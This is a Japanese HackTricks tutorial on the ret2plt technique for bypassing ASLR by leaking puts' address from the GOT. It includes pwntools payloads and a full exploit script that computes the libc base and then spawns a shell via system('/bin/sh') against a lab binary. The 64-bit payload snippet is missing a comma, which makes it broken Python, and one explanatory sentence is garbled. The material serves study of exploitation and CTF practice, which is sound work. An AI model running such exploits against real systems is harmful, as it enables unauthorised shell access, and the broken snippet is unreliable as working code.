Ret2plt

Reading time: 5 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本情報

この技術の目的は、PLTから関数のアドレスを漏洩させることでASLRをバイパスすることです。例えば、libcから関数putsのアドレスを漏洩させると、libcのベースがどこにあるかを計算し、**system**などの他の関数にアクセスするためのオフセットを計算できます。

これは、pwntoolsペイロードを使用して行うことができます(こちらから):

python
# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)

# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)

puts(PLTからのアドレスを使用)が、GOT(グローバルオフセットテーブル)にあるputsのアドレスで呼び出されることに注意してください。これは、putsputsのGOTエントリを印刷する時点で、このエントリがメモリ内のputsの正確なアドレスを含むためです。

また、エクスプロイトでmainのアドレスが使用されていることに注意してください。これにより、putsが実行を終了すると、バイナリが終了するのではなくmainを再度呼び出します(したがって、漏洩したアドレスは有効なままになります)。

caution

これが機能するためには、バイナリはPIEでコンパイルされていない必要があります、またはPIEをバイパスするための漏洩を見つける必要があります。そうしないと、最初にPIEをバイパスする必要があります。

このバイパスの完全な例はこちらにあります。これはそのからの最終的なエクスプロイトでした:

python
from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvline()

payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)

p.sendline(payload)

puts_leak = u32(p.recv(4))
p.recvlines(2)

libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)

p.sendline(payload)

p.interactive()

その他の例と参考文献

  • https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html
  • 64ビット、ASLRが有効だがPIEなし、最初のステップはカナリアのバイト0x00までオーバーフローを埋めてからputsを呼び出して漏洩させることです。カナリアを使ってROPガジェットを作成し、putsを呼び出してGOTからputsのアドレスを漏洩させ、その後system('/bin/sh')を呼び出すROPガジェットを作成します。
  • https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html
  • 64ビット、ASLRが有効、カナリアなし、子関数からmainへのスタックオーバーフロー。ROPガジェットを使ってputsを呼び出し、GOTからputsのアドレスを漏洩させ、その後one gadgetを呼び出します。

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする